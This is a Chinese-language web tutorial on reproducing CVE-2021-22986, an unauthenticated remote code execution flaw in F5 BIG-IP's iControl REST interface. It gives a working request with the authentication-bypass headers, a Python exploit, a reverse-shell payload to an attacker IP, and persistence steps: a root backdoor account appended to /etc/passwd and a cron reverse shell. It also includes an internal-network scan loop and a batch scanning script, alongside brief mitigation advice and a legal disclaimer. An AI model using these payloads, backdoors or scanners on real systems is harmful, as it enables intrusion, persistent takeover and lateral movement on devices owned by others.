溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何復現F5 BIG-IP遠程代碼執行漏洞CVE-2021-22986

發布時間:2021-12-29 17:54:05 來源:億速云 閱讀:266 作者:柒染 欄目:安全技術
# 如何復現F5 BIG-IP遠程代碼執行漏洞CVE-2021-22986

## 漏洞概述

CVE-2021-22986是F5 BIG-IP設備中一個高危的遠程代碼執行漏洞,影響BIG-IP的iControl REST組件。該漏洞存在于未認證的HTTP請求處理過程中,攻擊者通過構造特殊請求可在目標系統上執行任意系統命令,CVSS評分達到9.8(Critical)。

### 受影響版本
- BIG-IP 16.x: 16.0.0 - 16.0.1
- BIG-IP 15.x: 15.1.0 - 15.1.2
- BIG-IP 14.x: 14.1.0 - 14.1.3.1
- BIG-IP 13.x: 13.1.0 - 13.1.3.5
- BIG-IP 12.x: 12.1.0 - 12.1.5.2

## 環境準備

### 實驗環境要求
1. **漏洞環境**:
   - 安裝受影響版本的F5 BIG-IP虛擬機(可從F5官網下載試用版)
   - 推薦使用VMware或VirtualBox運行

2. **測試工具**:
   - Kali Linux攻擊機
   - Burp Suite Community Edition
   - Python 3.x環境
   - curl命令工具

3. **網絡配置**:
   ```bash
   # 確保攻擊機與目標網絡互通
   ping <BIG-IP_IP>

漏洞復現步驟

步驟1:驗證目標服務

首先確認目標BIG-IP的iControl REST接口是否開放(默認端口443):

curl -k https://<target_ip>/mgmt/tm/util/bash

正常情況應返回401未授權響應,若返回404則可能不存在漏洞。

步驟2:構造惡意請求

通過Burp Suite攔截任意請求,修改為以下格式:

POST /mgmt/tm/util/bash HTTP/1.1
Host: <target_ip>
Authorization: Basic YWRtaW46
X-F5-Auth-Token: arbitrary
Content-Type: application/json

{"command":"run","utilCmdArgs":"-c 'id'"}

關鍵點說明: - Authorization: Basic YWRtaW46 是空密碼admin的base64編碼 - X-F5-Auth-Token 頭必須存在但值任意 - utilCmdArgs 參數包含要執行的命令

步驟3:執行命令驗證

使用Python自動化腳本測試:

import requests
import json

target = "https://<target_ip>/mgmt/tm/util/bash"
headers = {
    "Authorization": "Basic YWRtaW46",
    "X-F5-Auth-Token": "x",
    "Content-Type": "application/json"
}
data = {"command":"run","utilCmdArgs":"-c 'id'"}

response = requests.post(
    target,
    headers=headers,
    json=data,
    verify=False
)

print(response.text)

預期輸出應包含當前用戶的UID信息。

步驟4:獲取反向Shell

  1. 在攻擊機啟動監聽:

    nc -lvnp 4444
    
  2. 發送反彈Shell命令(需URL編碼):

    payload = {
       "command": "run",
       "utilCmdArgs": "-c 'bash -i >& /dev/tcp/<attack_ip>/4444 0>&1'"
    }
    

漏洞原理分析

該漏洞源于iControl REST組件的認證繞過和命令注入: 1. 認證繞過:當同時存在AuthorizationX-F5-Auth-Token頭時,認證邏輯存在缺陷 2. 命令注入utilCmdArgs參數未正確過濾,允許通過-c參數執行任意Bash命令

關鍵代碼邏輯(偽代碼):

// 認證檢查邏輯
if (headers.contains("X-F5-Auth-Token") && 
    headers.get("Authorization").startsWith("Basic")) {
    bypassAuthentication(); // 漏洞點
}

// 命令執行處理
String cmd = request.getParameter("utilCmdArgs");
Runtime.getRuntime().exec("/bin/bash " + cmd); // 注入點

修復建議

  1. 官方補丁

    • 升級至以下版本:
      • BIG-IP 16.1.0+
      • BIG-IP 15.1.3+
      • BIG-IP 14.1.4+
      • BIG-IP 13.1.4+
  2. 臨時緩解措施

    # 限制iControl REST接口訪問
    tmsh modify /sys httpd allow replace-all-with { 127.0.0.1 }
    
  3. 網絡層防護

    • 配置WAF規則攔截惡意請求
    • 限制管理接口的外部訪問

深度利用技巧

1. 權限提升

BIG-IP默認以root權限運行服務,漏洞利用后自動獲得最高權限。

2. 持久化方法

# 創建后門賬戶
echo 'backdoor:$1$salt$UqddPX3r4kH3UL5ADq6Bx.:0:0::/root:/bin/bash' >> /etc/passwd

# 添加cron任務
(crontab -l ; echo "* * * * * /bin/bash -c 'exec /bin/bash -i &>/dev/tcp/attacker/5555 <&1'") | crontab -

3. 內網橫向移動

利用BIG-IP的特殊網絡位置:

# 掃描內網
for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from"; done

# 通過BIG-IP代理流量
curl --proxy http://localhost:8080 http://internal-web/

檢測腳本示例

以下Python腳本可批量檢測漏洞存在:

import requests
from concurrent.futures import ThreadPoolExecutor

def check_vuln(ip):
    try:
        resp = requests.post(
            f"https://{ip}/mgmt/tm/util/bash",
            headers={"Authorization": "Basic YWRtaW46", "X-F5-Auth-Token": "x"},
            json={"command": "run", "utilCmdArgs": "-c 'echo vulnerable'"},
            verify=False,
            timeout=5
        )
        if 'vulnerable' in resp.text:
            print(f"[+] {ip} is vulnerable!")
    except Exception as e:
        pass

with open('targets.txt') as f:
    targets = [line.strip() for line in f]

with ThreadPoolExecutor(10) as executor:
    executor.map(check_vuln, targets)

法律與道德聲明

  1. 本技術文章僅限合法安全研究使用
  2. 未經授權測試他人系統屬于違法行為
  3. 建議在隔離環境進行復現測試
  4. 根據《網絡安全法》相關規定,漏洞發現后應及時報告廠商

參考資源

”`

注:實際復現時請確保: 1. 獲得目標系統所有者授權 2. 在隔離測試環境操作 3. 遵守當地網絡安全法律法規

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女